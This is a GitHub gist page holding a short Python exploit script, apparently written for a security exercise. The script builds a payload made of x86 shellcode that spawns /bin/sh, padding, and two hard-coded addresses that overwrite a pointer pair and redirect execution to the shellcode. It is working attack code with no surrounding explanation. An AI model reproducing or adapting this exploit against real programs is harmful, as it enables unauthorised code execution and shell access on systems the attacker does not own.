Skip to content

Instantly share code, notes, and snippets.

@PwnVerse
Last active September 20, 2022 18:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PwnVerse/2b3f7aaf4a56c79303bceaa9d12f73af to your computer and use it in GitHub Desktop.
Save PwnVerse/2b3f7aaf4a56c79303bceaa9d12f73af to your computer and use it in GitHub Desktop.
from shellcode import shellcode, setuid, bin_sh
import sys
def p32(integer):
return integer.to_bytes(4, byteorder='little').decode('latin-1')
RET_ADDR = 0xffff80cc
SHELLCODE_ADDR = 0xffffd8e0
def exp():
binsh = "\xeb\x06" + (
'\xeb\x1f^\x89v\x081\xc0\x88F\x07\x89F\x0c\xb0\x0b\x89\xf3\x8dN\x08'
'\x8dV\x0c\xcd\x801\xdb\x89\xd8@\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x00')
payload = ""
payload += binsh
payload += "A" * (0x58 - len(binsh))
# prev with shellcode
payload += p32(SHELLCODE_ADDR)
# next with ret
payload += p32(RET_ADDR)
payload += ' b c' # 2nd and 3rd arg
sys.stdout.buffer.write(payload.encode('latin-1'))
if __name__ == '__main__':
exp()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment